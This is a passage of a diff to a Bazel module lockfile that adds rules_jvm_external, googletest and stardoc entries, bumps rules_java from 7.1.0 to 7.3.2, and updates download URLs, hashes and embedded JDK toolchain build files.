"https://bcr.bazel.build/modules/upb/0.0.0-20220923-a547704/patches/module_dot_bazel.patch": "sha256-wH4mNS6ZYy+8uC0HoAft/c7SDsq2Kxf+J8dUakXhaB0=" + }, + "remote_patch_strip": 0 + } + } + }, + "rules_jvm_external@4.4.2": { + "name": "rules_jvm_external", + "version": "4.4.2", + "key": "rules_jvm_external@4.4.2", + "repoName": "rules_jvm_external", + "executionPlatformsToRegister": [], + "toolchainsToRegister": [], + "extensionUsages": [ + { + "extensionBzlFile": "@rules_jvm_external//:non-module-deps.bzl", + "extensionName": "non_module_deps", + "usingModule": "rules_jvm_external@4.4.2", + "location": { + "file": "https://bcr.bazel.build/modules/rules_jvm_external/4.4.2/MODULE.bazel", + "line": 9, + "column": 32 + }, + "imports": { + "io_bazel_rules_kotlin": "io_bazel_rules_kotlin" + }, + "devImports": [], + "tags": [], + "hasDevUseExtension": false, + "hasNonDevUseExtension": true + }, + { + "extensionBzlFile": "@rules_jvm_external//:extensions.bzl", + "extensionName": "maven", + "usingModule": "rules_jvm_external@4.4.2", + "location": { + "file": "https://bcr.bazel.build/modules/rules_jvm_external/4.4.2/MODULE.bazel", + "line": 16, + "column": 22 + }, + "imports": { + "rules_jvm_external_deps": "rules_jvm_external_deps" + }, + "devImports": [], + "tags": [ + { + "tagName": "install", + "attributeValues": { + "name": "rules_jvm_external_deps", + "artifacts": [ + "com.google.cloud:google-cloud-core:1.93.10", + "com.google.cloud:google-cloud-storage:1.113.4", + "com.google.code.gson:gson:2.9.0", + "org.apache.maven:maven-artifact:3.8.6", + "software.amazon.awssdk:s3:2.17.183" + ], + "lock_file": "@rules_jvm_external//:rules_jvm_external_deps_install.json" + }, + "devDependency": false, + "location": { + "file": "https://bcr.bazel.build/modules/rules_jvm_external/4.4.2/MODULE.bazel", + "line": 18, + "column": 14 + } + } + ], + "hasDevUseExtension": false, + "hasNonDevUseExtension": true + } + ], + "deps": { + "bazel_skylib": "bazel_skylib@1.3.0", + "io_bazel_stardoc": "stardoc@0.5.1", + "bazel_tools": "bazel_tools@_", + "local_config_platform": "local_config_platform@_" + }, + "repoSpec": { + "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_jvm_external~4.4.2", + "urls": [ + "https://github.com/bazelbuild/rules_jvm_external/archive/refs/tags/4.4.2.zip" + ], + "integrity": "sha256-c1YC9QgT6y6pPKP15DsZWb2AshO4NqB6YqKddXZwt3s=", + "strip_prefix": "rules_jvm_external-4.4.2", + "remote_patches": {}, + "remote_patch_strip": 0 + } + } + }, + "googletest@1.11.0": { + "name": "googletest", + "version": "1.11.0", + "key": "googletest@1.11.0", + "repoName": "googletest", + "executionPlatformsToRegister": [], + "toolchainsToRegister": [], + "extensionUsages": [], + "deps": { + "com_google_absl": "abseil-cpp@20211102.0", + "platforms": "platforms@0.0.7", + "rules_cc": "rules_cc@0.0.9", + "bazel_tools": "bazel_tools@_", + "local_config_platform": "local_config_platform@_" + }, + "repoSpec": { + "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "googletest~1.11.0", + "urls": [ + "https://github.com/google/googletest/archive/refs/tags/release-1.11.0.tar.gz" + ], + "integrity": "sha256-tIcL8SH/d5W6INILzdhie44Ijy0dqymaAxwQNO3ck9U=", + "strip_prefix": "googletest-release-1.11.0", + "remote_patches": { + "https://bcr.bazel.build/modules/googletest/1.11.0/patches/module_dot_bazel.patch": "sha256-HuahEdI/n8KCI071sN3CEziX+7qP/Ec77IWayYunLP0=" + }, + "remote_patch_strip": 0 + } + } + }, + "stardoc@0.5.1": { + "name": "stardoc", + "version": "0.5.1", + "key": "stardoc@0.5.1", + "repoName": "stardoc", + "executionPlatformsToRegister": [], + "toolchainsToRegister": [], + "extensionUsages": [], + "deps": { + "bazel_skylib": "bazel_skylib@1.3.0", + "rules_java": "rules_java@7.3.2", + "bazel_tools": "bazel_tools@_", + "local_config_platform": "local_config_platform@_" + }, + "repoSpec": { + "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "stardoc~0.5.1", + "urls": [ + "https://github.com/bazelbuild/stardoc/releases/download/0.5.1/stardoc-0.5.1.tar.gz" + ], + "integrity": "sha256-qoFNrgrEALurLoiB+ZFcb0fElmS/CHxAmhX5BDjSwj4=", + "strip_prefix": "", + "remote_patches": { + "https://bcr.bazel.build/modules/stardoc/0.5.1/patches/module_dot_bazel.patch": "sha256-UAULCuTpJE7SG0YrR9XLjMfxMRmbP+za3uW9ONZ5rjI=" + }, + "remote_patch_strip": 0 + } + } } }, "moduleExtensions": { @@ -641,12 +986,19 @@ "name": "apple_support~1.5.0~apple_cc_configure_extension~local_config_apple_cc_toolchains" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "apple_support~1.5.0", + "bazel_tools", + "bazel_tools" + ] + ] } }, "@@bazel_tools//tools/android:android_extensions.bzl%remote_android_tools_extensions": { "general": { - "bzlTransitiveDigest": "iz3RFYDcsjupaT10sdSPAhA44WL3eDYkTEnYThllj1w=", + "bzlTransitiveDigest": "vsrPPBNf8OgywAYLMcIL1oNm2R8WtbCIL9wgQBUecpA=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -664,16 +1016,17 @@ "ruleClassName": "http_jar", "attributes": { "name": "bazel_tools~remote_android_tools_extensions~android_gmaven_r8", - "sha256": "57a696749695a09381a87bc2f08c3a8ed06a717a5caa3ef878a3077e0d3af19d", - "url": "https://maven.google.com/com/android/tools/r8/8.1.56/r8-8.1.56.jar" + "sha256": "a1d7f902d56cfa8d1e8cd64aa250e63549359fcd096eb793286787b1a1e76db1", + "url": "https://maven.google.com/com/android/tools/r8/8.2.42/r8-8.2.42.jar" } } - } + }, + "recordedRepoMappingEntries": [] } }, "@@bazel_tools//tools/cpp:cc_configure.bzl%cc_configure_extension": { "general": { - "bzlTransitiveDigest": "O9sf6ilKWU9Veed02jG9o2HM/xgV/UAyciuFBuxrFRY=", + "bzlTransitiveDigest": "2LC5INJ/KSraqEsbNl9rSibnM7ApBho21h1gyUQbjPg=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -691,7 +1044,14 @@ "name": "bazel_tools~cc_configure_extension~local_config_cc_toolchains" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "bazel_tools", + "bazel_tools", + "bazel_tools" + ] + ] } }, "@@bazel_tools//tools/osx:xcode_configure.bzl%xcode_configure_extension": { @@ -709,7 +1069,8 @@ "remote_xcode": "" } } - } + }, + "recordedRepoMappingEntries": [] } }, "@@bazel_tools//tools/sh:sh_configure.bzl%sh_configure_extension": { @@ -725,12 +1086,13 @@ "name": "bazel_tools~sh_configure_extension~local_config_sh" } } - } + }, + "recordedRepoMappingEntries": [] } }, "@@bazel_tools//tools/test:extensions.bzl%remote_coverage_tools_extension": { "general": { - "bzlTransitiveDigest": "cizrA62cv8WUgb0cCmx5B6PRijtr/I4TAWxg/4caNGU=", + "bzlTransitiveDigest": "AL+K5m+GCP3XRzLPqpKAq4GsjIVDXgUveWm8nih4ju0=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -745,52 +1107,53 @@ ] } } - } + }, + "recordedRepoMappingEntries": [] } }, - "@@rules_java~7.1.0//java:extensions.bzl%toolchains": { + "@@rules_java~7.3.2//java:extensions.bzl%toolchains": { "general": { - "bzlTransitiveDigest": "iUIRqCK7tkhvcDJCAfPPqSd06IHG0a8HQD0xeQyVAqw=", + "bzlTransitiveDigest": "Bm4ulErUcJjZtKeAt2etkB6sGO8evCgHQxbw4Px8q60=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { "remotejdk21_linux_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_linux_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk21_linux_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_21\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"21\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk21_linux//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk21_linux//:jdk\",\n)\n" } }, "remotejdk17_linux_s390x_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_linux_s390x_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk17_linux_s390x_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_17\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"17\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:s390x\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk17_linux_s390x//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:s390x\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk17_linux_s390x//:jdk\",\n)\n" } }, "remotejdk17_macos_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_macos_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk17_macos_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_17\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"17\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk17_macos//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk17_macos//:jdk\",\n)\n" } }, "remotejdk21_macos_aarch64_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_macos_aarch64_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk21_macos_aarch64_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_21\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"21\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk21_macos_aarch64//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk21_macos_aarch64//:jdk\",\n)\n" } }, "remotejdk17_linux_aarch64_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_linux_aarch64_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk17_linux_aarch64_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_17\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"17\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk17_linux_aarch64//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk17_linux_aarch64//:jdk\",\n)\n" } }, @@ -798,7 +1161,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_macos_aarch64", + "name": "rules_java~7.3.2~toolchains~remotejdk21_macos_aarch64", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 21,\n)\n", "sha256": "2a7a99a3ea263dbd8d32a67d1e6e363ba8b25c645c826f5e167a02bbafaff1fa", "strip_prefix": "zulu21.28.85-ca-jdk21.0.0-macosx_aarch64", @@ -809,10 +1172,10 @@ } }, "remotejdk17_linux_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_linux_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk17_linux_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_17\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"17\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk17_linux//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk17_linux//:jdk\",\n)\n" } }, @@ -820,7 +1183,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_macos_aarch64", + "name": "rules_java~7.3.2~toolchains~remotejdk17_macos_aarch64", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 17,\n)\n", "sha256": "314b04568ec0ae9b36ba03c9cbd42adc9e1265f74678923b19297d66eb84dcca", "strip_prefix": "zulu17.44.53-ca-jdk17.0.8.1-macosx_aarch64", @@ -834,11 +1197,11 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remote_java_tools_windows", - "sha256": "c5c70c214a350f12cbf52da8270fa43ba629b795f3dd328028a38f8f0d39c2a1", + "name": "rules_java~7.3.2~toolchains~remote_java_tools_windows", + "sha256": "8fc29a5e34e91c74815c4089ed0f481a7d728a5e886c4e5e3b9bcd79711fee3d", "urls": [ - "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.1/java_tools_windows-v13.1.zip", - "https://github.com/bazelbuild/java_tools/releases/download/java_v13.1/java_tools_windows-v13.1.zip" + "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.3/java_tools_windows-v13.3.zip", + "https://github.com/bazelbuild/java_tools/releases/download/java_v13.3/java_tools_windows-v13.3.zip" ] } }, @@ -846,7 +1209,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_win", + "name": "rules_java~7.3.2~toolchains~remotejdk11_win", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 11,\n)\n", "sha256": "43408193ce2fa0862819495b5ae8541085b95660153f2adcf91a52d3a1710e83", "strip_prefix": "zulu11.66.15-ca-jdk11.0.20-win_x64", @@ -857,10 +1220,10 @@ } }, "remotejdk11_win_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_win_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk11_win_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_11\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"11\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk11_win//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk11_win//:jdk\",\n)\n" } }, @@ -868,7 +1231,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_linux_aarch64", + "name": "rules_java~7.3.2~toolchains~remotejdk11_linux_aarch64", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 11,\n)\n", "sha256": 